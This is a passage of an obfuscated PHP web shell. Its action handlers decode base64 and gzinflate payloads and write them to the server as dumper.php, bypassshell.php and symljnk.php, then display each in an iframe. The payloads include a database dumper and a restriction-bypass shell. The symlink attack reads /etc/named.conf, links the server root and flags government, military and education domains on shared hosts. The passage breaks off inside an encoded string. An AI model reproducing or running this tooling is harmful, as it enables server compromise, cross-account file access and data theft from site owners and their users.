5ID0+ICR2YWx1ZSl7CiAgICAgICAgICAgICAgICAgICAgICAgICRzZWxlY3QgLj0gJGtleSA9PSAkc2VsZWN0ZWQgPyAiPE9QVElPTiBWQUxVRT0neyRrZXl9JyBTRUxFQ1RFRD57JHZhbHVlfSIgOiAiPE9QVElPTiBWQUxVRT0neyRrZXl9Jz57JHZhbHVlfSI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gJHNlbGVjdDsKICAgICAgICB9CgogICAgICAgIGZ1bmN0aW9uIGZuX3NhdmUoKXsKICAgICAgICAgICAgICAgIGlmIChTQykgewogICAgICAgICAgICAgICAgICAgICAgICAkbmUgPSAhZmlsZV9leGlzdHMoUEFUSCAuICJkdW1wZXIuY2ZnLnBocCIpOwogICAgICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiLCAid2IiKTsKICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICI8P3BocFxuXCR0aGlzLT5TRVQgPSAiIC4gZm5fYXJyMnN0cigkdGhpcy0+U0VUKSAuICJcbj8+Iik7CiAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRuZSkgQGNobW9kKFBBVEggLiAiZHVtcGVyLmNmZy5waHAiLCAwNjY2KTsKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmZuX2luZGV4KCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBmdW5jdGlvbiBmbl9pbmRleCgpewogICAgICAgICAgICAgICAgaWYgKCFmaWxlX2V4aXN0cyhQQVRIIC4gJ2luZGV4Lmh0bWwnKSkgewogICAgICAgICAgICAgICAgICAgICRmaCA9IGZvcGVuKFBBVEggLiAnaW5kZXguaHRtbCcsICd3YicpOwogICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJGZoLCB0cGxfYmFja3VwX2luZGV4KCkpOwogICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZoKTsKICAgICAgICAgICAgICAgICAgICAgICAgQGNobW9kKFBBVEggLiAnaW5kZXguaHRtbCcsIDA2NjYpOwogICAgICAgICAgICAgICAgfQogICAgICAgIH0KfQoKZnVuY3Rpb24gZm5faW50KCRudW0pewogICAgICAgIHJldHVybiBudW1iZXJfZm9ybWF0KCRudW0sIDAsICcsJywgJyAnKTsKfQoKZnVuY3Rpb24gZm5fYXJyMnN0cigkYXJyYXkpIHsKICAgICAgICAkc3RyID0gImFycmF5KFxuIjsKICAgICAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgICAgIGlmIChpc19hcnJheSgkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRzdHIgLj0gIicka2V5JyA9PiAiIC4gZm5fYXJyMnN0cigkdmFsdWUpIC4gIixcblxuIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkc3RyIC49ICInJGtleScgPT4gJyIgLiBzdHJfcmVwbGFjZSgiJyIsICJcJyIsICR2YWx1ZSkgLiAiJyxcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkc3RyIC4gIikiOwp9CgovLyBUZW1wbGF0ZXMKCmZ1bmN0aW9uIHRwbF9wYWdlKCRjb250ZW50ID0gJycsICRidXR0b25zID0gJycpewpyZXR1cm4gPDw8SFRNTAo8IURPQ1RZUEUgSFRNTCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIj4KPEhUTUw+CjxIRUFEPgo8VElUTEU+TXlzcWwgRHVtcGVyIDEuMC45IHwgJmNvcHk7IDIwMDYgemFwaW1pcjwvVElUTEU+CjxNRVRBIEhUVFAtRVFVSVY9Q29udGVudC1UeXBlIENPTlRFTlQ9InRleHQvaHRtbDsgY2hhcnNldD11dGYtOCI+CjxTVFlMRSBUWVBFPSJURVhUL0NTUyI+CjwhLS0KYm9keXsKICAgICAgICBvdmVyZmxvdzogYXV0bzsKfQp0ZCB7CiAgICAgICAgZm9udDogMTFweCB0YWhvbWEsIHZlcmRhbmEsIGFyaWFsOwogICAgICAgIGN1cnNvcjogZGVmYXVsdDsKfQppbnB1dCwgc2VsZWN0LCBkaXYgewogICAgICAgIGZvbnQ6IDExcHggdGFob21hLCB2ZXJkYW5hLCBhcmlhbDsKfQppbnB1dC50ZXh0LCBzZWxlY3QgewogICAgICAgIHdpZHRoOiAxMDAlOwp9CmZpZWxkc2V0IHsKICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4Owp9Ci0tPgo8L1NUWUxFPgo8L0hFQUQ+Cgo8Qk9EWSBCR0NPTE9SPSNFQ0U5RDggVEVYVD0jMDAwMDAwPgo8VEFCTEUgV0lEVEg9MTAwJSBIRUlHSFQ9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTAgQUxJR049Q0VOVEVSPgo8VFI+CjxURCBIRUlHSFQ9NjAlIEFMSUdOPUNFTlRFUiBWQUxJR049TUlERExFPgo8VEFCTEUgV0lEVEg9MzYwIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9MD4KPFRSPgo8VEQgVkFMSUdOPVRPUCBTVFlMRT0iYm9yZGVyOiAxcHggc29saWQgIzkxOUI5QzsiPgo8VEFCTEUgV0lEVEg9MTAwJSBIRUlHSFQ9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0xIENFTExQQURESU5HPTA+CjxUUj4KPFREIElEPUhlYWRlciBIRUlHSFQ9MjAgQkdDT0xPUj0jN0E5NkRGIFNUWUxFPSJmb250LXNpemU6IDEzcHg7IGNvbG9yOiB3aGl0ZTsgZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsOwpwYWRkaW5nLWxlZnQ6IDVweDsgRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTEsc3RhcnRDb2xvclN0cj0jN0E5NkRGLGVuZENvbG9yU3RyPSNGQkZCRkQpIgpUSVRMRT0nJmNvcHk7IDIwMDMtMjAwNiB6YXBpbWlyJz4KPEI+PEEgSFJFRj1odHRwOi8vc3lwZXgubmV0L3Byb2R1Y3RzL2R1bXBlci8gU1RZTEU9ImNvbG9yOiB3aGl0ZTsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyI+TXlzcWwgRHVtcGVyIDEuMC45PC9BPjwvQj48SU1HIElEPUdTIFdJRFRIPTEgSEVJR0hUPTEgU1RZTEU9InZpc2liaWxpdHk6IGhpZGRlbjsiPjwvVEQ+CjwvVFI+CjxUUj4KPEZPUk0gTkFNRT1za2IgTUVUSE9EPVBPU1QgQUNUSU9OPWR1bXBlci5waHA+CjxURCBWQUxJR049VE9QIEJHQ09MT1I9I0Y0RjNFRSBTVFlMRT0iRklMVEVSOiBwcm9naWQ6RFhJbWFnZVRyYW5zZm9ybS5NaWNyb3NvZnQuR3JhZGllbnQoZ3JhZGllbnRUeXBlPTAsc3RhcnRDb2xvclN0cj0jRkNGQkZFLGVuZENvbG9yU3RyPSNGNEYzRUUpOyBwYWRkaW5nOiA4cHggOHB4OyI+CnskY29udGVudH0KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0yPgo8VFI+CjxURCBTVFlMRT0nY29sb3I6ICNDRUNFQ0UnIElEPXRpbWVyPjwvVEQ+CjxURCBBTElHTj1SSUdIVD57JGJ1dHRvbnN9PC9URD4KPC9UUj4KPC9UQUJMRT48L1REPgo8L0ZPUk0+CjwvVFI+CjwvVEFCTEU+PC9URD4KPC9UUj4KPC9UQUJMRT48L1REPgo8L1RSPgo8L1RBQkxFPgo8L1REPgo8L1RSPgo8L1RBQkxFPgo8L0JPRFk+CjwvSFRNTD4KSFRNTDsKfQoKZnVuY3Rpb24gdHBsX21haW4oKXsKZ2xvYmFsICRTSzsKcmV0dXJuIDw8PEhUTUwKPEZJRUxEU0VUIG9uQ2xpY2s9ImRvY3VtZW50LnNrYi5hY3Rpb25bMF0uY2hlY2tlZCA9IDE7Ij4KPExFR0VORD4KPElOUFVUIFRZUEU9cmFkaW8gTkFNRT1hY3Rpb24gVkFMVUU9YmFja3VwPgpCYWNrdXAgLyDQodC+0LfQtNCw0L3QuNC1INGA0LXQt9C10YDQstC90L7QuSDQutC+0L/QuNC4INCR0JQmbmJzcDs8L0xFR0VORD4KPFRBQkxFIFdJRFRIPTEwMCUgQk9SREVSPTAgQ0VMTFNQQUNJTkc9MCBDRUxMUEFERElORz0yPgo8VFI+CjxURCBXSURUSD0zNSU+0JHQlDo8L1REPgo8VEQgV0lEVEg9NjUlPjxTRUxFQ1QgTkFNRT1kYl9iYWNrdXA+CnskU0stPnZhcnNbJ2RiX2JhY2t1cCddfQo8L1NFTEVDVD48L1REPgo8L1RSPgo8VFI+CjxURD7QpNC40LvRjNGC0YAg0YLQsNCx0LvQuNGGOjwvVEQ+CjxURD48SU5QVVQgTkFNRT10YWJsZXMgVFlQRT10ZXh0IENMQVNTPXRleHQgVkFMVUU9J3skU0stPnZhcnNbJ3RhYmxlcyddfSc+PC9URD4KPC9UUj4KPFRSPgo8VEQ+0JzQtdGC0L7QtCDRgdC20LDRgtC40Y86PC9URD4KPFREPjxTRUxFQ1QgTkFNRT1jb21wX21ldGhvZD4KeyRTSy0+dmFyc1snY29tcF9tZXRob2RzJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjxUUj4KPFREPtCh0YLQtdC/0LXQvdGMINGB0LbQsNGC0LjRjzo8L1REPgo8VEQ+PFNFTEVDVCBOQU1FPWNvbXBfbGV2ZWw+CnskU0stPnZhcnNbJ2NvbXBfbGV2ZWxzJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjwvVEFCTEU+CjwvRklFTERTRVQ+CjxGSUVMRFNFVCBvbkNsaWNrPSJkb2N1bWVudC5za2IuYWN0aW9uWzFdLmNoZWNrZWQgPSAxOyI+CjxMRUdFTkQ+CjxJTlBVVCBUWVBFPXJhZGlvIE5BTUU9YWN0aW9uIFZBTFVFPXJlc3RvcmU+ClJlc3RvcmUgLyDQktC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNC1INCR0JQg0LjQtyDRgNC10LfQtdGA0LLQvdC+0Lkg0LrQvtC/0LjQuCZuYnNwOzwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREPtCR0JQ6PC9URD4KPFREPjxTRUxFQ1QgTkFNRT1kYl9yZXN0b3JlPgp7JFNLLT52YXJzWydkYl9yZXN0b3JlJ119CjwvU0VMRUNUPjwvVEQ+CjwvVFI+CjxUUj4KPFREIFdJRFRIPTM1JT7QpNCw0LnQuzo8L1REPgo8VEQgV0lEVEg9NjUlPjxTRUxFQ1QgTkFNRT1maWxlPgp7JFNLLT52YXJzWydmaWxlcyddfQo8L1NFTEVDVD48L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTQ1JJUFQ+CmRvY3VtZW50LnNrYi5hY3Rpb25beyRTSy0+U0VUWydsYXN0X2FjdGlvbiddfV0uY2hlY2tlZCA9IDE7CjwvU0NSSVBUPgoKSFRNTDsKfQoKZnVuY3Rpb24gdHBsX3Byb2Nlc3MoJHRpdGxlKXsKcmV0dXJuIDw8PEhUTUwKPEZJRUxEU0VUPgo8TEVHRU5EPnskdGl0bGV9Jm5ic3A7PC9MRUdFTkQ+CjxUQUJMRSBXSURUSD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9Mj4KPFRSPjxURCBDT0xTUEFOPTI+PERJViBJRD1sb2dhcmVhIFNUWUxFPSJ3aWR0aDogMTAwJTsgaGVpZ2h0OiAxNDBweDsgYm9yZGVyOiAxcHggc29saWQgIzdGOURCOTsgcGFkZGluZzogM3B4OyBvdmVyZmxvdzogYXV0bzsiPjwvRElWPjwvVEQ+PC9UUj4KPFRSPjxURCBXSURUSD0zMSU+0KHRgtCw0YLRg9GBINGC0LDQsdC70LjRhtGLOjwvVEQ+PFREIFdJRFRIPTY5JT48VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MSBDRUxMUEFERElORz0wIENFTExTUEFDSU5HPTA+CjxUUj48VEQgQkdDT0xPUj0jRkZGRkZGPjxUQUJMRSBXSURUSD0xIEJPUkRFUj0wIENFTExQQURESU5HPTAgQ0VMTFNQQUNJTkc9MCBCR0NPTE9SPSM1NTU1Q0MgSUQ9c3RfdGFiClNUWUxFPSJGSUxURVI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5HcmFkaWVudChncmFkaWVudFR5cGU9MCxzdGFydENvbG9yU3RyPSNDQ0NDRkYsZW5kQ29sb3JTdHI9IzU1NTVDQyk7CmJvcmRlci1yaWdodDogMXB4IHNvbGlkICNBQUFBQUEiPjxUUj48VEQgSEVJR0hUPTEyPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+PC9UUj4KPFRSPjxURD7QntCx0YnQuNC5INGB0YLQsNGC0YPRgTo8L1REPjxURD48VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MSBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTA+CjxUUj48VEQgQkdDT0xPUj0jRkZGRkZGPjxUQUJMRSBXSURUSD0xIEJPUkRFUj0wIENFTExQQURESU5HPTAgQ0VMTFNQQUNJTkc9MCBCR0NPTE9SPSMwMEFBMDAgSUQ9c29fdGFiClNUWUxFPSJGSUxURVI6IHByb2dpZDpEWEltYWdlVHJhbnNmb3JtLk1pY3Jvc29mdC5HcmFkaWVudChncmFkaWVudFR5cGU9MCxzdGFydENvbG9yU3RyPSNDQ0ZGQ0MsZW5kQ29sb3JTdHI9IzAwQUEwMCk7CmJvcmRlci1yaWdodDogMXB4IHNvbGlkICNBQUFBQUEiPjxUUj48VEQgSEVJR0hUPTEyPjwvVEQ+PC9UUj48L1RBQkxFPjwvVEQ+CjwvVFI+PC9UQUJMRT48L1REPjwvVFI+PC9UQUJMRT4KPC9GSUVMRFNFVD4KPFNDUklQVD4KdmFyIFdpZHRoTG9ja2VkID0gZmFsc2U7CmZ1bmN0aW9uIHMoc3QsIHNvKXsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnc3RfdGFiJykud2lkdGggPSBzdCA/IHN0ICsgJyUnIDogJzEnOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzb190YWInKS53aWR0aCA9IHNvID8gc28gKyAnJScgOiAnMSc7Cn0KZnVuY3Rpb24gbChzdHIsIGNvbG9yKXsKICAgICAgICBzd2l0Y2goY29sb3IpewogICAgICAgICAgICAgICAgY2FzZSAyOiBjb2xvciA9ICduYXZ5JzsgYnJlYWs7CiAgICAgICAgICAgICAgICBjYXNlIDM6IGNvbG9yID0gJ3JlZCc7IGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSA0OiBjb2xvciA9ICdtYXJvb24nOyBicmVhazsKICAgICAgICAgICAgICAgIGRlZmF1bHQ6IGNvbG9yID0gJ2JsYWNrJzsKICAgICAgICB9CiAgICAgICAgd2l0aChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nYXJlYScpKXsKICAgICAgICAgICAgICAgIGlmICghV2lkdGhMb2NrZWQpewogICAgICAgICAgICAgICAgICAgICAgICBzdHlsZS53aWR0aCA9IGNsaWVudFdpZHRoOwogICAgICAgICAgICAgICAgICAgICAgICBXaWR0aExvY2tlZCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBzdHIgPSAnPEZPTlQgQ09MT1I9JyArIGNvbG9yICsgJz4nICsgc3RyICsgJzwvRk9OVD4nOwogICAgICAgICAgICAgICAgaW5uZXJIVE1MICs9IGlubmVySFRNTCA/ICI8QlI+XFxuIiArIHN0ciA6IHN0cjsKICAgICAgICAgICAgICAgIHNjcm9sbFRvcCArPSAxNDsKICAgICAgICB9Cn0KPC9TQ1JJUFQ+CkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9hdXRoKCRlcnJvcil7CnJldHVybiA8PDxIVE1MCjxTUEFOIElEPWVycm9yPgo8RklFTERTRVQ+CjxMRUdFTkQ+0J7RiNC40LHQutCwPC9MRUdFTkQ+CjxUQUJMRSBXSURUSD0xMDAlIEJPUkRFUj0wIENFTExTUEFDSU5HPTAgQ0VMTFBBRERJTkc9Mj4KPFRSPgo8VEQ+0JTQu9GPINGA0LDQsdC+0YLRiyBTeXBleCBEdW1wZXIgTGl0ZSDRgtGA0LXQsdGD0LXRgtGB0Y86PEJSPiAtIEludGVybmV0IEV4cGxvcmVyIDUuNSssIE1vemlsbGEg0LvQuNCx0L4gT3BlcmEgOCsgKDxTUEFOIElEPXNpZT4tPC9TUEFOPik8QlI+IC0g0LLQutC70Y7Rh9C10L3QviDQstGL0L/QvtC70L3QtdC90LjQtSBKYXZhU2NyaXB0INGB0LrRgNC40L/RgtC+0LIgKDxTUEFOIElEPXNqcz4tPC9TUEFOPik8L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTUEFOIElEPWJvZHkgU1RZTEU9ImRpc3BsYXk6IG5vbmU7Ij4KeyRlcnJvcn0KPEZJRUxEU0VUPgo8TEVHRU5EPkVudGVyIGxvZ2luIGFuZCBwYXNzd29yZDwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREIFdJRFRIPTQxJT7Qm9C+0LPQuNC9OjwvVEQ+CjxURCBXSURUSD01OSU+PElOUFVUIE5BTUU9bG9naW4gVFlQRT10ZXh0IENMQVNTPXRleHQ+PC9URD4KPC9UUj4KPFRSPgo8VEQ+0J/QsNGA0L7Qu9GMOjwvVEQ+CjxURD48SU5QVVQgTkFNRT1wYXNzIFRZUEU9cGFzc3dvcmQgQ0xBU1M9dGV4dD48L1REPgo8L1RSPgo8L1RBQkxFPgo8L0ZJRUxEU0VUPgo8L1NQQU4+CjxTQ1JJUFQ+CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzanMnKS5pbm5lckhUTUwgPSAnKyc7CmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdib2R5Jykuc3R5bGUuZGlzcGxheSA9ICcnOwpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZXJyb3InKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwp2YXIganNFbmFibGVkID0gdHJ1ZTsKPC9TQ1JJUFQ+CkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9sKCRzdHIsICRjb2xvciA9IENfREVGQVVMVCl7CiRzdHIgPSBwcmVnX3JlcGxhY2UoIi9cc3syfS8iLCAiICZuYnNwOyIsICRzdHIpOwpyZXR1cm4gPDw8SFRNTAo8U0NSSVBUPmwoJ3skc3RyfScsICRjb2xvcik7PC9TQ1JJUFQ+CgpIVE1MOwp9CgpmdW5jdGlvbiB0cGxfZW5hYmxlQmFjaygpewpyZXR1cm4gPDw8SFRNTAo8U0NSSVBUPmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYWNrJykuZGlzYWJsZWQgPSAwOzwvU0NSSVBUPgoKSFRNTDsKfQoKZnVuY3Rpb24gdHBsX3MoJHN0LCAkc28pewokc3QgPSByb3VuZCgkc3QgKiAxMDApOwokc3QgPSAkc3QgPiAxMDAgPyAxMDAgOiAkc3Q7CiRzbyA9IHJvdW5kKCRzbyAqIDEwMCk7CiRzbyA9ICRzbyA+IDEwMCA/IDEwMCA6ICRzbzsKcmV0dXJuIDw8PEhUTUwKPFNDUklQVD5zKHskc3R9LHskc299KTs8L1NDUklQVD4KCkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9iYWNrdXBfaW5kZXgoKXsKcmV0dXJuIDw8PEhUTUwKPENFTlRFUj4KPEgxPllvdSBkb24ndCBoYXZlIHBlcm1pc3Npb25zIHRvIGxpc3QgdGhpcyBkaXI8L0gxPgo8L0NFTlRFUj4KCkhUTUw7Cn0KCmZ1bmN0aW9uIHRwbF9lcnJvcigkZXJyb3IpewpyZXR1cm4gPDw8SFRNTAo8RklFTERTRVQ+CjxMRUdFTkQ+RXJyb3IgY29ubmVjdCB0byBEQjwvTEVHRU5EPgo8VEFCTEUgV0lEVEg9MTAwJSBCT1JERVI9MCBDRUxMU1BBQ0lORz0wIENFTExQQURESU5HPTI+CjxUUj4KPFREIEFMSUdOPWNlbnRlcj57JGVycm9yfTwvVEQ+CjwvVFI+CjwvVEFCTEU+CjwvRklFTERTRVQ+CgpIVE1MOwp9CgpmdW5jdGlvbiBTWERfZXJyb3JIYW5kbGVyKCRlcnJubywgJGVycm1zZywgJGZpbGVuYW1lLCAkbGluZW51bSwgJHZhcnMpIHsKICAgICAgICBpZiAoJGVycm5vID09IDIwNDgpIHJldHVybiB0cnVlOwogICAgICAgIGlmIChwcmVnX21hdGNoKCIvY2htb2RcKFwpLio/OiBPcGVyYXRpb24gbm90IHBlcm1pdHRlZC8iLCAkZXJybXNnKSkgcmV0dXJuIHRydWU7CiAgICAkZHQgPSBkYXRlKCJZLm0uZCBIOmk6cyIpOwogICAgJGVycm1zZyA9IGFkZHNsYXNoZXMoJGVycm1zZyk7CgogICAgICAgIGVjaG8gdHBsX2woInskZHR9PEJSPjxCPkVycm9yIHdhcyBvY2N1cmVkITwvQj4iLCBDX0VSUk9SKTsKICAgICAgICBlY2hvIHRwbF9sKCJ7JGVycm1zZ30gKHskZXJybm99KSIsIENfRVJST1IpOwogICAgICAgIGVjaG8gdHBsX2VuYWJsZUJhY2soKTsKICAgICAgICBkaWUoKTsKfQo/Pgo=
1917';
1918 $file = fopen("dumper.php", "w+");
1919 $write = fwrite($file, base64_decode($perltoolss));
1920 fclose($file);
1921 echo "<iframe src=dumper.php width=100% height=720px frameborder=0></iframe> ";
1922} elseif ($action == 'bypassshell') {
1923 $file = fopen($dir . "bypassshell.php", "w+");
1924 $perltoolss = 'hVRNb5tAED0Hif8wXaECcQJu1BwaA1GU2E0lN7ZstxfLQms8FijAInbt2Kny3zuA4zhW1F5gmI83b97Och1417rmnupaum0/xvw8w2yOJYglrPN5yZN8uhBqlqPStVNX13QtWVqfMCvU1jLC793J1FwmKZoz2wajsvx33o6uYSoRDouGg/FHVYfuTtUIo1iA6Q1H3cArguH9EC6dC+cbSL7EMBMLhM8gCszDOZe4SEqYbwsupTcvg//PQojeUpQZ5DxDn1UmAx6pROQ+i5UqrlzXdIxw3B397o6m7H4yGYb3RJHNnFhlqSwwSngaxbyU1lva+Hb0YzgJH3Tt5meXzewDBBqA7H6PAEwGGapYLHxWCKlY4CV5sVKgtgVxUbhR7JUXycFAJs9kX7YZrHm6ItP8gEOVahP0ezC5mmfJHo4yF1JtU3zeQ41j8UQ1bqVAYNbC65qR4hpTv915PfAKPMRNIpW0alJXzLZ17SR7JOH3HkqP4iNHA9Vq1VDGngD4gJsipVO0mMvOmi2w6yRiYhmcmhvci8QqV9ZbmU3OVsv+Q60PVmofnhqcVqqKnhyzPk6CKmnH/yjWqULNIB9FDiY6edG1l4rzU0ytrCZyfm7DTgbHYc1MRhTTxNGqTMMkT5TVeOtviUoUNGMUn8Htr1F/QPtDrzNoRKwfrusy50Ci3dXoDR4mcDvoD0Y+G3XvWABetTy8RA6leJI++0o7E4mUrC8XbbY7X5Kmd9Mfd32/JoAbjKr29YEuErTMYCzKcus4DvSoJfxj22AhUOYKGpFBlLAVK3KSK+ZrhALLLJGSbpV0zEPu4LmvVIm1W02yY1dzilIhsSa128hr+k/9BQ==';
1925 $file = fopen("bypassshell.php", "w+");
1926 $write = fwrite($file, gzinflate(base64_decode($perltoolss)));
1927 fclose($file);
1928 echo "<iframe src=bypassshell.php width=100% height=720px frameborder=0></iframe> ";
1929} elseif ($action == 'symljnk') {
1930 $file = fopen($dir . "symljnk.php", "w+");
1931 $perltoolss = 'PD9waHAgICAKQHNldF90aW1lX2xpbWl0KDApOwpAbWtkaXIoJ3N5bScsMDc3Nyk7CiRodGFjY2VzcyAgPSAiT3B0aW9ucyBhbGwgXG4gRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOwokd3JpdGUgPUBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CmZ3cml0ZSgkd3JpdGUgLCRodGFjY2Vzcyk7CkBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsKJGZpbGVsb2NhdGlvbiA9IGJhc2VuYW1lKF9fRklMRV9fKTsKJHJlYWRfbmFtZWRfY29uZiA9IEBmaWxlKCcvZXRjL25hbWVkLmNvbmYnKTsKaWYoISRyZWFkX25hbWVkX2NvbmYpCnsKZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4jIENhbnQgYWNjZXNzIHRoaXMgZmlsZSBvbiBzZXJ2ZXIgLT4gWyAvZXRjL25hbWVkLmNvbmYgXTwvcHJlPjwvY2VudGVyPiI7IAp9CmVsc2UKewplY2hvICI8Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0bXAnPjx0YWJsZSBib3JkZXI9JzEnIGJvcmRlcmNvbG9yPScjMDBmZjAwJyB3aWR0aD0nNTAwJyBjZWxscGFkZGluZz0nMScgY2VsbHNwYWNpbmc9JzAnPjx0ZD5Eb21haW5zPC90ZD48dGQ+VXNlcnM8L3RkPjx0ZD5zeW1saW5rIDwvdGQ+IjsKZm9yZWFjaCgkcmVhZF9uYW1lZF9jb25mIGFzICRzdWJqZWN0KXsKaWYoZXJlZ2koJ3pvbmUnLCRzdWJqZWN0KSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkc3ViamVjdCwkc3RyaW5nKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJHN0cmluZ1sxXVswXSkpID4yKXsKJFVJRCA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJy9ldGMvdmFsaWFzZXMvJy4kc3RyaW5nWzFdWzBdKSk7CiRuYW1lID0gJFVJRFsnbmFtZSddIDsKQHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOwokbmFtZSAgID0gJHN0cmluZ1sxXVswXTsKJGlyYW4gICA9ICdcLmlyJzsKJGlzcmFlbCA9ICdcLmlsJzsKJGluZG8gICA9ICdcLmlkJzsKJHNnMTIgICA9ICdcLnNnJzsKJGVkdSAgICA9ICdcLmVkdSc7CiRnb3YgICAgPSAnXC5nb3YnOwokZ29zZSAgID0gJ1wuZ28nOwokZ29iZXIgID0gJ1wuZ29iJzsKJG1pbDEgICA9ICdcLm1pbCc7CiRtaWwyICAgPSAnXC5taSc7CiRtYWxheQk9ICdcLm15JzsKJGNoaW5hCT0gJ1wuY24nOwokamFwYW4JPSAnXC5qcCc7CiRhdXN0cgk9ICdcLmF1JzsKJHBvcm4JPSAnXC54eHgnOwokYXMJCT0gJ1wudWsnOwokY2FsZm4JPSAnXC5jYSc7CgppZiAoZXJlZ2koIiRpcmFuIiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSgiJGlzcmFlbCIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2koIiRpbmRvIiwkc3RyaW5nWzFdWzBdKW9yIGVyZWdpKCIkc2cxMiIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkZWR1Iiwkc3RyaW5nWzFdWzBdKSBvciBlcmVnaSAoIiRnb3YiLCRzdHJpbmdbMV1bMF0pCm9yIGVyZWdpICgiJGdvc2UiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkZ29iZXIiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkbWlsMSIsJHN0cmluZ1sxXVswXSkgb3IgZXJlZ2kgKCIkbWlsMiIsJHN0cmluZ1sxXVswXSkKb3IgZXJlZ2kgKCIkbWFsYXkiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkY2hpbmEiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkamFwYW4iLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGF1c3RyIiwkc3RyaW5nWzFdWzBdKQpvciBlcmVnaSgiJHBvcm4iLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpKCIkYXMiLCRzdHJpbmdbMV1bMF0pIG9yIGVyZWdpICgiJGNhbGZuIiwkc3RyaW5nWzFdWzBdKSkKewokbmFtZSA9ICI8ZGl2IHN0eWxlPScgY29sb3I6ICM2NjAwOTk7IHRleHQtc2hhZG93OiAwcHggMHB4IDFweCAjMDA2NjMzOyAnPiIuJHN0cmluZ1sxXVswXS4nPC9kaXY+JzsKfQplY2hvICIK